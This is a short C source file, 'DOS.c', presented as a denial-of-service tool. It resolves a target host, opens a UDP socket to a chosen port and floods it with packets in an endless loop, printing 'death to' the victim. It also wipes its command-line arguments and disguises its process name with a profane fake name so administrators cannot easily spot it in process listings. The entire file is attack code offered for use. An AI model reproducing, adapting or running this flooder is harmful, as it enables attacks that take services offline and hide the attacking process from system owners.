/* * DOS.c by Snifffer (Snifffer@hackermail.com) * * compilation : Linux -> gcc DOS.c -o DOS * SunOs -> gcc DOS.c -o DOS -lnsl -lsocket * * syntax : ./DOS * * http://Nopotm.com _______ _ _________ _______ _______ _______ _______ _______ ( ____ \( ( /|\__ __/( ____ \( ____ \( ____ \( ____ \( ____ ) | ( \/| \ ( | ) ( | ( \/| ( \/| ( \/| ( \/| ( )| | (_____ | \ | | | | | (__ | (__ | (__ | (__ | (____)| (_____ )| (\ \) | | | | __) | __) | __) | __) | __) ) || | \ | | | | ( | ( | ( | ( | (\ ( /\____) || ) \ |___) (___| ) | ) | ) | (____/\| ) \ \__ \_______)|/ )_)\_______/|/ |/ |/ (_______/|/ \__/ */ #include #include #include #include #include #include #include #include #include #define FAKENAME "FUCK YOU ROOT!" // what you want this to hide as on ps -aux #define BIGDICK "1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF" char about[] = "DOS.c by Snifffer\n"; // int DOS (char *, short); main (int argc, char *argv[]) { int s, fn; if (argc != 3) { printf (about); printf ("syntax : %s \n", argv[0]); exit (0); } s = DOS (argv[1], atoi (argv[2])); if (s < 0) { printf ("socket error!\n"); exit (0); } memset (argv[0], 0x00, strlen (argv[0])); memset (argv[1], 0x00, strlen (argv[1])); memset (argv[2], 0x00, strlen (argv[2])); strcpy (argv[0], FAKENAME); for (;;) { send (s, BIGDICK, 80, 0); } } int DOS (char *target, short port) { int sock; struct sockaddr_in cyc; struct hostent *ip; printf (about); ip = gethostbyname (target); if (ip == NULL) { printf ("can't resolve victim! -> %s\n", target); exit (0); } printf ("death to %s:%d\n", target, port); bzero ((char *) &cyc, sizeof (cyc)); bcopy (ip->h_addr, (char *) &cyc.sin_addr, ip->h_length); cyc.sin_family = ip->h_addrtype; cyc.sin_port = htons (port); sock = socket (AF_INET, SOCK_DGRAM, 0); connect (sock, (struct sockaddr *) &cyc, sizeof (cyc)); return sock; } /* EOF */